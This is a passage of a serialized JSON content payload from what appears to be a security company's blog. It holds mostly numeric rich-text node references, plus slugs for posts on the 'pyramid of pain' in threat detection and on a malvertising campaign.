9,"marks":22510,"value":6383,"nodeType":864},{},[],{"data":22512,"content":22513,"nodeType":860},{},[22514],{"data":22515,"marks":22516,"value":6390,"nodeType":864},{},[],{"data":22518,"content":22519,"nodeType":860},{},[22520],{"data":22521,"marks":22522,"value":6397,"nodeType":864},{},[],{"data":22524,"content":22525,"nodeType":1005},{},[],{"data":22527,"content":22528,"nodeType":1009},{},[22529],{"data":22530,"marks":22531,"value":6408,"nodeType":864},{},[22532],{"type":899},{"data":22534,"content":22535,"nodeType":860},{},[22536,22539,22545],{"data":22537,"marks":22538,"value":6415,"nodeType":864},{},[],{"data":22540,"content":22541,"nodeType":883},{"uri":6418},[22542],{"data":22543,"marks":22544,"value":6423,"nodeType":864},{},[],{"data":22546,"marks":22547,"value":6427,"nodeType":864},{},[],{"data":22549,"content":22550,"nodeType":860},{},[22551],{"data":22552,"marks":22553,"value":6434,"nodeType":864},{},[],{"data":22555,"content":22556,"nodeType":860},{},[22557],{"data":22558,"marks":22559,"value":6441,"nodeType":864},{},[],{"data":22561,"content":22562,"nodeType":860},{},[22563,22566,22572],{"data":22564,"marks":22565,"value":6448,"nodeType":864},{},[],{"data":22567,"content":22568,"nodeType":883},{"uri":6451},[22569],{"data":22570,"marks":22571,"value":6423,"nodeType":864},{},[],{"data":22573,"marks":22574,"value":2924,"nodeType":864},{},[],{"data":22576,"content":22577,"nodeType":1005},{},[],{"data":22579,"content":22580,"nodeType":1009},{},[22581],{"data":22582,"marks":22583,"value":6469,"nodeType":864},{},[22584],{"type":899},{"data":22586,"content":22587,"nodeType":860},{},[22588],{"data":22589,"marks":22590,"value":6476,"nodeType":864},{},[],{"data":22592,"content":22593,"nodeType":941},{},[22594,22603,22612],{"data":22595,"content":22596,"nodeType":945},{},[22597],{"data":22598,"content":22599,"nodeType":860},{},[22600],{"data":22601,"marks":22602,"value":6489,"nodeType":864},{},[],{"data":22604,"content":22605,"nodeType":945},{},[22606],{"data":22607,"content":22608,"nodeType":860},{},[22609],{"data":22610,"marks":22611,"value":6499,"nodeType":864},{},[],{"data":22613,"content":22614,"nodeType":945},{},[22615],{"data":22616,"content":22617,"nodeType":860},{},[22618],{"data":22619,"marks":22620,"value":6509,"nodeType":864},{},[],{"data":22622,"content":22623,"nodeType":860},{},[22624],{"data":22625,"marks":22626,"value":6516,"nodeType":864},{},[],{"data":22628,"content":22629,"nodeType":860},{},[22630,22633,22639],{"data":22631,"marks":22632,"value":6523,"nodeType":864},{},[],{"data":22634,"content":22635,"nodeType":883},{"uri":5243},[22636],{"data":22637,"marks":22638,"value":6530,"nodeType":864},{},[],{"data":22640,"marks":22641,"value":2924,"nodeType":864},{},[],{"data":22643,"content":22644,"nodeType":860},{},[22645,22648,22654],{"data":22646,"marks":22647,"value":6540,"nodeType":864},{},[],{"data":22649,"content":22650,"nodeType":883},{"uri":6543},[22651],{"data":22652,"marks":22653,"value":6548,"nodeType":864},{},[],{"data":22655,"marks":22656,"value":6552,"nodeType":864},{},[],{"data":22658,"content":22661,"nodeType":996},{"target":22659},{"sys":22660},{"id":6557,"type":1001,"linkType":1002},[],{"data":22663,"content":22664,"nodeType":1005},{},[],{"data":22666,"content":22667,"nodeType":860},{},[22668],{"data":22669,"marks":22670,"value":6568,"nodeType":864},{},[],{"data":22672,"content":22673,"nodeType":860},{},[22674,22677,22683],{"data":22675,"marks":22676,"value":2707,"nodeType":864},{},[],{"data":22678,"content":22679,"nodeType":883},{"uri":1700},[22680],{"data":22681,"marks":22682,"value":2715,"nodeType":864},{},[],{"data":22684,"marks":22685,"value":2719,"nodeType":864},{},[],{"items":22687},[22688,22690],{"sys":22689,"name":6593},{"id":6592},{"sys":22691,"name":342},{"id":6596},{"items":22693},[22694],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":22695},{"url":2740},{"__typename":2059,"sys":22697,"content":22698,"title":19250,"synopsis":19251,"hashTags":59,"publishedDate":19252,"slug":19253,"tagsCollection":23506,"authorsCollection":23512},{"id":18316},{"json":22699},{"data":22700,"content":22701,"nodeType":856},{},[22702,22708,22725,22735,22741,22748,22754,22774,22780,22786,22792,22802,22807,22810,22817,22830,22847,22943,22948,22954,22959,22966,22972,22982,22988,22993,22999,23019,23025,23031,23036,23039,23046,23052,23059,23065,23078,23084,23090,23097,23103,23109,23116,23122,23128,23131,23138,23144,23151,23157,23163,23169,23175,23182,23188,23215,23221,23227,23232,23238,23245,23251,23319,23324,23331,23344,23350,23355,23361,23374,23377,23384,23390,23396,23401,23407,23446,23452,23458,23464,23469,23472,23479,23485,23491],{"data":22703,"content":22704,"nodeType":860},{},[22705],{"data":22706,"marks":22707,"value":18327,"nodeType":864},{},[],{"data":22709,"content":22710,"nodeType":860},{},[22711,22714,22722],{"data":22712,"marks":22713,"value":18334,"nodeType":864},{},[],{"data":22715,"content":22718,"nodeType":18344},{"target":22716},{"sys":22717},{"id":18339,"type":1001,"linkType":1002},[22719],{"data":22720,"marks":22721,"value":441,"nodeType":864},{},[],{"data":22723,"marks":22724,"value":18348,"nodeType":864},{},[],{"data":22726,"content":22727,"nodeType":860},{},[22728,22731],{"data":22729,"marks":22730,"value":18355,"nodeType":864},{},[],{"data":22732,"marks":22733,"value":18360,"nodeType":864},{},[22734],{"type":2246},{"data":22736,"content":22737,"nodeType":860},{},[22738],{"data":22739,"marks":22740,"value":18367,"nodeType":864},{},[],{"data":22742,"content":22743,"nodeType":860},{},[22744],{"data":22745,"marks":22746,"value":18375,"nodeType":864},{},[22747],{"type":899},{"data":22749,"content":22750,"nodeType":860},{},[22751],{"data":22752,"marks":22753,"value":18382,"nodeType":864},{},[],{"data":22755,"content":22756,"nodeType":860},{},[22757,22761,22770],{"data":22758,"marks":22759,"value":18390,"nodeType":864},{},[22760],{"type":899},{"data":22762,"content":22765,"nodeType":18344},{"target":22763},{"sys":22764},{"id":18395,"type":1001,"linkType":1002},[22766],{"data":22767,"marks":22768,"value":8098,"nodeType":864},{},[22769],{"type":899},{"data":22771,"marks":22772,"value":2924,"nodeType":864},{},[22773],{"type":899},{"data":22775,"content":22776,"nodeType":860},{},[22777],{"data":22778,"marks":22779,"value":18411,"nodeType":864},{},[],{"data":22781,"content":22782,"nodeType":860},{},[22783],{"data":22784,"marks":22785,"value":18418,"nodeType":864},{},[],{"data":22787,"content":22788,"nodeType":860},{},[22789],{"data":22790,"marks":22791,"value":18425,"nodeType":864},{},[],{"data":22793,"content":22794,"nodeType":860},{},[22795,22799],{"data":22796,"marks":22797,"value":18433,"nodeType":864},{},[22798],{"type":899},{"data":22800,"marks":22801,"value":18437,"nodeType":864},{},[],{"data":22803,"content":22806,"nodeType":996},{"target":22804},{"sys":22805},{"id":18442,"type":1001,"linkType":1002},[],{"data":22808,"content":22809,"nodeType":1005},{},[],{"data":22811,"content":22812,"nodeType":1009},{},[22813],{"data":22814,"marks":22815,"value":18454,"nodeType":864},{},[22816],{"type":899},{"data":22818,"content":22819,"nodeType":860},{},[22820,22823,22827],{"data":22821,"marks":22822,"value":18461,"nodeType":864},{},[],{"data":22824,"marks":22825,"value":18466,"nodeType":864},{},[22826],{"type":899},{"data":22828,"marks":22829,"value":18470,"nodeType":864},{},[],{"data":22831,"content":22832,"nodeType":860},{},[22833,22836,22844],{"data":22834,"marks":22835,"value":18477,"nodeType":864},{},[],{"data":22837,"content":22840,"nodeType":18344},{"target":22838},{"sys":22839},{"id":5746,"type":1001,"linkType":1002},[22841],{"data":22842,"marks":22843,"value":5248,"nodeType":864},{},[],{"data":22845,"marks":22846,"value":18489,"nodeType":864},{},[],{"data":22848,"content":22849,"nodeType":941},{},[22850,22859,22879],{"data":22851,"content":22852,"nodeType":945},{},[22853],{"data":22854,"content":22855,"nodeType":860},{},[22856],{"data":22857,"marks":22858,"value":18502,"nodeType":864},{},[],{"data":22860,"content":22861,"nodeType":945},{},[22862],{"data":22863,"content":22864,"nodeType":860},{},[22865,22868,22876],{"data":22866,"marks":22867,"value":18512,"nodeType":864},{},[],{"data":22869,"content":22872,"nodeType":18344},{"target":22870},{"sys":22871},{"id":18517,"type":1001,"linkType":1002},[22873],{"data":22874,"marks":22875,"value":18522,"nodeType":864},{},[],{"data":22877,"marks":22878,"value":18526,"nodeType":864},{},[],{"data":22880,"content":22881,"nodeType":945},{},[22882],{"data":22883,"content":22884,"nodeType":860},{},[22885,22888,22896,22899,22907,22910,22918,22921,22929,22932,22940],{"data":22886,"marks":22887,"value":18536,"nodeType":864},{},[],{"data":22889,"content":22892,"nodeType":18344},{"target":22890},{"sys":22891},{"id":18541,"type":1001,"linkType":1002},[22893],{"data":22894,"marks":22895,"value":6041,"nodeType":864},{},[],{"data":22897,"marks":22898,"value":18549,"nodeType":864},{},[],{"data":22900,"content":22903,"nodeType":18344},{"target":22901},{"sys":22902},{"id":18395,"type":1001,"linkType":1002},[22904],{"data":22905,"marks":22906,"value":18558,"nodeType":864},{},[],{"data":22908,"marks":22909,"value":18562,"nodeType":864},{},[],{"data":22911,"content":22914,"nodeType":18344},{"target":22912},{"sys":22913},{"id":18567,"type":1001,"linkType":1002},[22915],{"data":22916,"marks":22917,"value":18572,"nodeType":864},{},[],{"data":22919,"marks":22920,"value":1171,"nodeType":864},{},[],{"data":22922,"content":22925,"nodeType":18344},{"target":22923},{"sys":22924},{"id":18339,"type":1001,"linkType":1002},[22926],{"data":22927,"marks":22928,"value":520,"nodeType":864},{},[],{"data":22930,"marks":22931,"value":1171,"nodeType":864},{},[],{"data":22933,"content":22936,"nodeType":18344},{"target":22934},{"sys":22935},{"id":18591,"type":1001,"linkType":1002},[22937],{"data":22938,"marks":22939,"value":18596,"nodeType":864},{},[],{"data":22941,"marks":22942,"value":18600,"nodeType":864},{},[],{"data":22944,"content":22947,"nodeType":996},{"target":22945},{"sys":22946},{"id":4990,"type":1001,"linkType":1002},[],{"data":22949,"content":22950,"nodeType":860},{},[22951],{"data":22952,"marks":22953,"value":18612,"nodeType":864},{},[],{"data":22955,"content":22958,"nodeType":996},{"target":22956},{"sys":22957},{"id":18617,"type":1001,"linkType":1002},[],{"data":22960,"content":22961,"nodeType":1312},{},[22962],{"data":22963,"marks":22964,"value":18626,"nodeType":864},{},[22965],{"type":899},{"data":22967,"content":22968,"nodeType":860},{},[22969],{"data":22970,"marks":22971,"value":18633,"nodeType":864},{},[],{"data":22973,"content":22974,"nodeType":860},{},[22975,22979],{"data":22976,"marks":22977,"value":18641,"nodeType":864},{},[22978],{"type":899},{"data":22980,"marks":22981,"value":18645,"nodeType":864},{},[],{"data":22983,"content":22984,"nodeType":860},{},[22985],{"data":22986,"marks":22987,"value":18652,"nodeType":864},{},[],{"data":22989,"content":22992,"nodeType":996},{"target":22990},{"sys":22991},{"id":18657,"type":1001,"linkType":1002},[],{"data":22994,"content":22995,"nodeType":860},{},[22996],{"data":22997,"marks":22998,"value":18665,"nodeType":864},{},[],{"data":23000,"content":23001,"nodeType":860},{},[23002,23006,23015],{"data":23003,"marks":23004,"value":18673,"nodeType":864},{},[23005],{"type":899},{"data":23007,"content":23010,"nodeType":18344},{"target":23008},{"sys":23009},{"id":18678,"type":1001,"linkType":1002},[23011],{"data":23012,"marks":23013,"value":11824,"nodeType":864},{},[23014],{"type":899},{"data":23016,"marks":23017,"value":18688,"nodeType":864},{},[23018],{"type":899},{"data":23020,"content":23021,"nodeType":860},{},[23022],{"data":23023,"marks":23024,"value":18695,"nodeType":864},{},[],{"data":23026,"content":23027,"nodeType":860},{},[23028],{"data":23029,"marks":23030,"value":18702,"nodeType":864},{},[],{"data":23032,"content":23035,"nodeType":996},{"target":23033},{"sys":23034},{"id":18707,"type":1001,"linkType":1002},[],{"data":23037,"content":23038,"nodeType":1005},{},[],{"data":23040,"content":23041,"nodeType":1009},{},[23042],{"data":23043,"marks":23044,"value":18719,"nodeType":864},{},[23045],{"type":899},{"data":23047,"content":23048,"nodeType":860},{},[23049],{"data":23050,"marks":23051,"value":18726,"nodeType":864},{},[],{"data":23053,"content":23054,"nodeType":1312},{},[23055],{"data":23056,"marks":23057,"value":18734,"nodeType":864},{},[23058],{"type":899},{"data":23060,"content":23061,"nodeType":860},{},[23062],{"data":23063,"marks":23064,"value":18741,"nodeType":864},{},[],{"data":23066,"content":23067,"nodeType":860},{},[23068,23071,23075],{"data":23069,"marks":23070,"value":18748,"nodeType":864},{},[],{"data":23072,"marks":23073,"value":12271,"nodeType":864},{},[23074],{"type":899},{"data":23076,"marks":23077,"value":18756,"nodeType":864},{},[],{"data":23079,"content":23080,"nodeType":860},{},[23081],{"data":23082,"marks":23083,"value":18763,"nodeType":864},{},[],{"data":23085,"content":23086,"nodeType":860},{},[23087],{"data":23088,"marks":23089,"value":18770,"nodeType":864},{},[],{"data":23091,"content":23092,"nodeType":1312},{},[23093],{"data":23094,"marks":23095,"value":18778,"nodeType":864},{},[23096],{"type":899},{"data":23098,"content":23099,"nodeType":860},{},[23100],{"data":23101,"marks":23102,"value":18785,"nodeType":864},{},[],{"data":23104,"content":23105,"nodeType":860},{},[23106],{"data":23107,"marks":23108,"value":18792,"nodeType":864},{},[],{"data":23110,"content":23111,"nodeType":1312},{},[23112],{"data":23113,"marks":23114,"value":18800,"nodeType":864},{},[23115],{"type":899},{"data":23117,"content":23118,"nodeType":860},{},[23119],{"data":23120,"marks":23121,"value":18807,"nodeType":864},{},[],{"data":23123,"content":23124,"nodeType":860},{},[23125],{"data":23126,"marks":23127,"value":18814,"nodeType":864},{},[],{"data":23129,"content":23130,"nodeType":1005},{},[],{"data":23132,"content":23133,"nodeType":1009},{},[23134],{"data":23135,"marks":23136,"value":18825,"nodeType":864},{},[23137],{"type":899},{"data":23139,"content":23140,"nodeType":860},{},[23141],{"data":23142,"marks":23143,"value":18832,"nodeType":864},{},[],{"data":23145,"content":23146,"nodeType":1312},{},[23147],{"data":23148,"marks":23149,"value":18840,"nodeType":864},{},[23150],{"type":899},{"data":23152,"content":23153,"nodeType":860},{},[23154],{"data":23155,"marks":23156,"value":18847,"nodeType":864},{},[],{"data":23158,"content":23159,"nodeType":860},{},[23160],{"data":23161,"marks":23162,"value":18854,"nodeType":864},{},[],{"data":23164,"content":23165,"nodeType":860},{},[23166],{"data":23167,"marks":23168,"value":18861,"nodeType":864},{},[],{"data":23170,"content":23171,"nodeType":860},{},[23172],{"data":23173,"marks":23174,"value":18868,"nodeType":864},{},[],{"data":23176,"content":23177,"nodeType":1312},{},[23178],{"data":23179,"marks":23180,"value":18876,"nodeType":864},{},[23181],{"type":899},{"data":23183,"content":23184,"nodeType":860},{},[23185],{"data":23186,"marks":23187,"value":18883,"nodeType":864},{},[],{"data":23189,"content":23190,"nodeType":860},{},[23191,23194,23198,23201,23205,23208,23212],{"data":23192,"marks":23193,"value":18890,"nodeType":864},{},[],{"data":23195,"marks":23196,"value":18895,"nodeType":864},{},[23197],{"type":899},{"data":23199,"marks":23200,"value":3731,"nodeType":864},{},[],{"data":23202,"marks":23203,"value":18903,"nodeType":864},{},[23204],{"type":899},{"data":23206,"marks":23207,"value":3731,"nodeType":864},{},[],{"data":23209,"marks":23210,"value":18911,"nodeType":864},{},[23211],{"type":899},{"data":23213,"marks":23214,"value":18915,"nodeType":864},{},[],{"data":23216,"content":23217,"nodeType":860},{},[23218],{"data":23219,"marks":23220,"value":18922,"nodeType":864},{},[],{"data":23222,"content":23223,"nodeType":860},{},[23224],{"data":23225,"marks":23226,"value":18929,"nodeType":864},{},[],{"data":23228,"content":23231,"nodeType":996},{"target":23229},{"sys":23230},{"id":18934,"type":1001,"linkType":1002},[],{"data":23233,"content":23234,"nodeType":860},{},[23235],{"data":23236,"marks":23237,"value":18942,"nodeType":864},{},[],{"data":23239,"content":23240,"nodeType":1312},{},[23241],{"data":23242,"marks":23243,"value":18950,"nodeType":864},{},[23244],{"type":899},{"data":23246,"content":23247,"nodeType":860},{},[23248],{"data":23249,"marks":23250,"value":18957,"nodeType":864},{},[],{"data":23252,"content":23253,"nodeType":941},{},[23254,23267,23280,23293,23306],{"data":23255,"content":23256,"nodeType":945},{},[23257],{"data":23258,"content":23259,"nodeType":860},{},[23260,23264],{"data":23261,"marks":23262,"value":18971,"nodeType":864},{},[23263],{"type":899},{"data":23265,"marks":23266,"value":18975,"nodeType":864},{},[],{"data":23268,"content":23269,"nodeType":945},{},[23270],{"data":23271,"content":23272,"nodeType":860},{},[23273,23277],{"data":23274,"marks":23275,"value":18986,"nodeType":864},{},[23276],{"type":899},{"data":23278,"marks":23279,"value":18990,"nodeType":864},{},[],{"data":23281,"content":23282,"nodeType":945},{},[23283],{"data":23284,"content":23285,"nodeType":860},{},[23286,23290],{"data":23287,"marks":23288,"value":19001,"nodeType":864},{},[23289],{"type":899},{"data":23291,"marks":23292,"value":19005,"nodeType":864},{},[],{"data":23294,"content":23295,"nodeType":945},{},[23296],{"data":23297,"content":23298,"nodeType":860},{},[23299,23303],{"data":23300,"marks":23301,"value":19016,"nodeType":864},{},[23302],{"type":899},{"data":23304,"marks":23305,"value":19020,"nodeType":864},{},[],{"data":23307,"content":23308,"nodeType":945},{},[23309],{"data":23310,"content":23311,"nodeType":860},{},[23312,23316],{"data":23313,"marks":23314,"value":19031,"nodeType":864},{},[23315],{"type":899},{"data":23317,"marks":23318,"value":19035,"nodeType":864},{},[],{"data":23320,"content":23323,"nodeType":996},{"target":23321},{"sys":23322},{"id":19040,"type":1001,"linkType":1002},[],{"data":23325,"content":23326,"nodeType":1312},{},[23327],{"data":23328,"marks":23329,"value":19049,"nodeType":864},{},[23330],{"type":899},{"data":23332,"content":23333,"nodeType":860},{},[23334,23337,23341],{"data":23335,"marks":23336,"value":19056,"nodeType":864},{},[],{"data":23338,"marks":23339,"value":19061,"nodeType":864},{},[23340],{"type":899},{"data":23342,"marks":23343,"value":19065,"nodeType":864},{},[],{"data":23345,"content":23346,"nodeType":860},{},[23347],{"data":23348,"marks":23349,"value":19072,"nodeType":864},{},[],{"data":23351,"content":23354,"nodeType":996},{"target":23352},{"sys":23353},{"id":19077,"type":1001,"linkType":1002},[],{"data":23356,"content":23357,"nodeType":860},{},[23358],{"data":23359,"marks":23360,"value":19085,"nodeType":864},{},[],{"data":23362,"content":23363,"nodeType":860},{},[23364,23367,23371],{"data":23365,"marks":23366,"value":19092,"nodeType":864},{},[],{"data":23368,"marks":23369,"value":19097,"nodeType":864},{},[23370],{"type":899},{"data":23372,"marks":23373,"value":19101,"nodeType":864},{},[],{"data":23375,"content":23376,"nodeType":1005},{},[],{"data":23378,"content":23379,"nodeType":1009},{},[23380],{"data":23381,"marks":23382,"value":19112,"nodeType":864},{},[23383],{"type":899},{"data":23385,"content":23386,"nodeType":860},{},[23387],{"data":23388,"marks":23389,"value":19119,"nodeType":864},{},[],{"data":23391,"content":23392,"nodeType":860},{},[23393],{"data":23394,"marks":23395,"value":19126,"nodeType":864},{},[],{"data":23397,"content":23400,"nodeType":996},{"target":23398},{"sys":23399},{"id":19131,"type":1001,"linkType":1002},[],{"data":23402,"content":23403,"nodeType":860},{},[23404],{"data":23405,"marks":23406,"value":19139,"nodeType":864},{},[],{"data":23408,"content":23409,"nodeType":941},{},[23410,23428,23437],{"data":23411,"content":23412,"nodeType":945},{},[23413],{"data":23414,"content":23415,"nodeType":860},{},[23416,23419,23425],{"data":23417,"marks":23418,"value":19152,"nodeType":864},{},[],{"data":23420,"content":23421,"nodeType":883},{"uri":19155},[23422],{"data":23423,"marks":23424,"value":1578,"nodeType":864},{},[],{"data":23426,"marks":23427,"value":19163,"nodeType":864},{},[],{"data":23429,"content":23430,"nodeType":945},{},[23431],{"data":23432,"content":23433,"nodeType":860},{},[23434],{"data":23435,"marks":23436,"value":19173,"nodeType":864},{},[],{"data":23438,"content":23439,"nodeType":945},{},[23440],{"data":23441,"content":23442,"nodeType":860},{},[23443],{"data":23444,"marks":23445,"value":19183,"nodeType":864},{},[],{"data":23447,"content":23448,"nodeType":860},{},[23449],{"data":23450,"marks":23451,"value":19190,"nodeType":864},{},[],{"data":23453,"content":23454,"nodeType":860},{},[23455],{"data":23456,"marks":23457,"value":19197,"nodeType":864},{},[],{"data":23459,"content":23460,"nodeType":860},{},[23461],{"data":23462,"marks":23463,"value":19204,"nodeType":864},{},[],{"data":23465,"content":23468,"nodeType":996},{"target":23466},{"sys":23467},{"id":19209,"type":1001,"linkType":1002},[],{"data":23470,"content":23471,"nodeType":1005},{},[],{"data":23473,"content":23474,"nodeType":1009},{},[23475],{"data":23476,"marks":23477,"value":19221,"nodeType":864},{},[23478],{"type":899},{"data":23480,"content":23481,"nodeType":860},{},[23482],{"data":23483,"marks":23484,"value":1682,"nodeType":864},{},[],{"data":23486,"content":23487,"nodeType":860},{},[23488],{"data":23489,"marks":23490,"value":1689,"nodeType":864},{},[],{"data":23492,"content":23493,"nodeType":860},{},[23494,23497,23503],{"data":23495,"marks":23496,"value":2707,"nodeType":864},{},[],{"data":23498,"content":23499,"nodeType":883},{"uri":19242},[23500],{"data":23501,"marks":23502,"value":2715,"nodeType":864},{},[],{"data":23504,"marks":23505,"value":2719,"nodeType":864},{},[],{"items":23507},[23508,23510],{"sys":23509,"name":6593},{"id":6592},{"sys":23511,"name":342},{"id":6596},{"items":23513},[23514],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":23515},{"url":853},"blog/the-pyramid-of-pain-in-the-ai-era",{"json":23518},{"data":23519,"content":23520,"nodeType":856},{},[23521],{"data":23522,"content":23523,"nodeType":860},{},[23524],{"data":23525,"marks":23526,"value":23527,"nodeType":864},{},[],"AI is accelerating the collapse of indicator-based threat detection. Technique-level detection is the only layer that holds, and requires both the right vantage point and the research capability to stay ahead.",{"id":7411,"publishedAt":23529},"2026-08-12T12:00:48.380Z",{"items":23531},[23532,23534],{"sys":23533,"name":342},{"id":6596},{"sys":23535,"name":6593},{"id":6592},{"items":23537},[23538,23540,23542,23544,23546,23548,23550,23552,23554,23556,23558,23560,23562,23564,23566,23568],{"sys":23539,"name":279,"slug":280,"tier":31},{"id":276},{"sys":23541,"name":297,"slug":298,"tier":31},{"id":294},{"sys":23543,"name":342,"slug":343,"tier":31},{"id":339},{"sys":23545,"name":235,"slug":236,"tier":31},{"id":232},{"sys":23547,"name":351,"slug":352,"tier":45},{"id":348},{"sys":23549,"name":244,"slug":245,"tier":45},{"id":241},{"sys":23551,"name":511,"slug":512,"tier":45},{"id":508},{"sys":23553,"name":261,"slug":262,"tier":45},{"id":258},{"sys":23555,"name":315,"slug":316,"tier":45},{"id":312},{"sys":23557,"name":360,"slug":361,"tier":45},{"id":357},{"sys":23559,"name":324,"slug":325,"tier":45},{"id":321},{"sys":23561,"name":440,"slug":441,"tier":45},{"id":437},{"sys":23563,"name":607,"slug":608,"tier":45},{"id":604},{"sys":23565,"name":484,"slug":485,"tier":45},{"id":481},{"sys":23567,"name":475,"slug":476,"tier":45},{"id":472},{"sys":23569,"name":650,"slug":651,"tier":45},{"id":647},"NcSsFyOCgz95lIcDmXKRjEU4Hg-WK6MPMgczrjIO-tI",{"id":23572,"title":7391,"authorsCollection":23573,"content":23577,"extension":228,"faqItemsCollection":24360,"faqTitle":59,"featured":6,"hashTags":59,"meta":24362,"metaTitle":24363,"ogImage":59,"postType":5740,"publishedDate":7393,"relatedBlogPostsCollection":24364,"slug":7394,"stem":28027,"subtitle":59,"summary":28028,"synopsis":7392,"sys":28039,"tagsCollection":28041,"topicsCollection":28047,"__hash__":28073},"blog/blog/llmshare-malvertising-campaign.json",{"items":23574},[23575],{"fullName":7404,"firstName":7405,"jobTitle":7406,"socialLinks":59,"profilePicture":23576},{"url":7408},{"json":23578,"links":24246},{"data":23579,"content":23580,"nodeType":856},{},[23581,23587,23593,23617,23623,23628,23633,23643,23646,23653,23666,23672,23677,23683,23689,23694,23697,23704,23710,23715,23720,23726,23732,23747,23752,23755,23762,23777,23782,23788,23791,23798,23804,23810,23815,23820,23854,23860,23863,23870,23876,23882,23915,23921,23945,23951,23984,23990,23993,24000,24015,24021,24028,24041,24047,24062,24068,24071,24077,24083,24099,24102,24109,24124,24130,24240],{"data":23582,"content":23583,"nodeType":860},{},[23584],{"data":23585,"marks":23586,"value":6614,"nodeType":864},{},[],{"data":23588,"content":23589,"nodeType":860},{},[23590],{"data":23591,"marks":23592,"value":6621,"nodeType":864},{},[],{"data":23594,"content":23595,"nodeType":860},{},[23596,23599,23605,23608,23614],{"data":23597,"marks":23598,"value":6628,"nodeType":864},{},[],{"data":23600,"content":23601,"nodeType":883},{"uri":6631},[23602],{"data":23603,"marks":23604,"value":6636,"nodeType":864},{},[],{"data":23606,"marks":23607,"value":6640,"nodeType":864},{},[],{"data":23609,"content":23610,"nodeType":883},{"uri":6643},[23611],{"data":23612,"marks":23613,"value":6648,"nodeType":864},{},[],{"data":23615,"marks":23616,"value":6652,"nodeType":864},{},[],{"data":23618,"content":23619,"nodeType":860},{},[23620],{"data":23621,"marks":23622,"value":6659,"nodeType":864},{},[],{"data":23624,"content":23627,"nodeType":996},{"target":23625},{"sys":23626},{"id":6664,"type":1001,"linkType":1002},[],{"data":23629,"content":23632,"nodeType":996},{"target":23630},{"sys":23631},{"id":6670,"type":1001,"linkType":1002},[],{"data":23634,"content":23635,"nodeType":860},{},[23636,23640],{"data":23637,"marks":23638,"value":6679,"nodeType":864},{},[23639],{"type":899},{"data":23641,"marks":23642,"value":6683,"nodeType":864},{},[],{"data":23644,"content":23645,"nodeType":1005},{},[],{"data":23647,"content":23648,"nodeType":1009},{},[23649],{"data":23650,"marks":23651,"value":6694,"nodeType":864},{},[23652],{"type":899},{"data":23654,"content":23655,"nodeType":860},{},[23656,23659,23663],{"data":23657,"marks":23658,"value":6701,"nodeType":864},{},[],{"data":23660,"marks":23661,"value":6706,"nodeType":864},{},[23662],{"type":2246},{"data":23664,"marks":23665,"value":6710,"nodeType":864},{},[],{"data":23667,"content":23668,"nodeType":860},{},[23669],{"data":23670,"marks":23671,"value":6717,"nodeType":864},{},[],{"data":23673,"content":23676,"nodeType":996},{"target":23674},{"sys":23675},{"id":6722,"type":1001,"linkType":1002},[],{"data":23678,"content":23679,"nodeType":860},{},[23680],{"data":23681,"marks":23682,"value":6730,"nodeType":864},{},[],{"data":23684,"content":23685,"nodeType":860},{},[23686],{"data":23687,"marks":23688,"value":6737,"nodeType":864},{},[],{"data":23690,"content":23693,"nodeType":996},{"target":23691},{"sys":23692},{"id":6742,"type":1001,"linkType":1002},[],{"data":23695,"content":23696,"nodeType":1005},{},[],{"data":23698,"content":23699,"nodeType":1009},{},[23700],{"data":23701,"marks":23702,"value":6754,"nodeType":864},{},[23703],{"type":899},{"data":23705,"content":23706,"nodeType":860},{},[23707],{"data":23708,"marks":23709,"value":6761,"nodeType":864},{},[],{"data":23711,"content":23714,"nodeType":996},{"target":23712},{"sys":23713},{"id":6766,"type":1001,"linkType":1002},[],{"data":23716,"content":23719,"nodeType":996},{"target":23717},{"sys":23718},{"id":6772,"type":1001,"linkType":1002},[],{"data":23721,"content":23722,"nodeType":860},{},[23723],{"data":23724,"marks":23725,"value":6780,"nodeType":864},{},[],{"data":23727,"content":23728,"nodeType":860},{},[23729],{"data":23730,"marks":23731,"value":6787,"nodeType":864},{},[],{"data":23733,"content":23734,"nodeType":860},{},[23735,23738,23744],{"data":23736,"marks":23737,"value":6794,"nodeType":864},{},[],{"data":23739,"content":23740,"nodeType":883},{"uri":6797},[23741],{"data":23742,"marks":23743,"value":6802,"nodeType":864},{},[],{"data":23745,"marks":23746,"value":2924,"nodeType":864},{},[],{"data":23748,"content":23751,"nodeType":996},{"target":23749},{"sys":23750},{"id":6810,"type":1001,"linkType":1002},[],{"data":23753,"content":23754,"nodeType":1005},{},[],{"data":23756,"content":23757,"nodeType":1009},{},[23758],{"data":23759,"marks":23760,"value":6822,"nodeType":864},{},[23761],{"type":899},{"data":23763,"content":23764,"nodeType":860},{},[23765,23768,23774],{"data":23766,"marks":23767,"value":6829,"nodeType":864},{},[],{"data":23769,"content":23770,"nodeType":883},{"uri":6631},[23771],{"data":23772,"marks":23773,"value":6836,"nodeType":864},{},[],{"data":23775,"marks":23776,"value":6840,"nodeType":864},{},[],{"data":23778,"content":23781,"nodeType":996},{"target":23779},{"sys":23780},{"id":6845,"type":1001,"linkType":1002},[],{"data":23783,"content":23784,"nodeType":860},{},[23785],{"data":23786,"marks":23787,"value":6853,"nodeType":864},{},[],{"data":23789,"content":23790,"nodeType":1005},{},[],{"data":23792,"content":23793,"nodeType":1009},{},[23794],{"data":23795,"marks":23796,"value":6864,"nodeType":864},{},[23797],{"type":899},{"data":23799,"content":23800,"nodeType":860},{},[23801],{"data":23802,"marks":23803,"value":6871,"nodeType":864},{},[],{"data":23805,"content":23806,"nodeType":860},{},[23807],{"data":23808,"marks":23809,"value":6878,"nodeType":864},{},[],{"data":23811,"content":23814,"nodeType":996},{"target":23812},{"sys":23813},{"id":6883,"type":1001,"linkType":1002},[],{"data":23816,"content":23819,"nodeType":996},{"target":23817},{"sys":23818},{"id":6889,"type":1001,"linkType":1002},[],{"data":23821,"content":23822,"nodeType":860},{},[23823,23826,23832,23835,23841,23844,23851],{"data":23824,"marks":23825,"value":6897,"nodeType":864},{},[],{"data":23827,"content":23828,"nodeType":883},{"uri":6900},[23829],{"data":23830,"marks":23831,"value":6905,"nodeType":864},{},[],{"data":23833,"marks":23834,"value":6909,"nodeType":864},{},[],{"data":23836,"content":23837,"nodeType":883},{"uri":6912},[23838],{"data":23839,"marks":23840,"value":6917,"nodeType":864},{},[],{"data":23842,"marks":23843,"value":902,"nodeType":864},{},[],{"data":23845,"content":23846,"nodeType":883},{"uri":6923},[23847],{"data":23848,"marks":23849,"value":6929,"nodeType":864},{},[23850],{"type":1455},{"data":23852,"marks":23853,"value":6933,"nodeType":864},{},[],{"data":23855,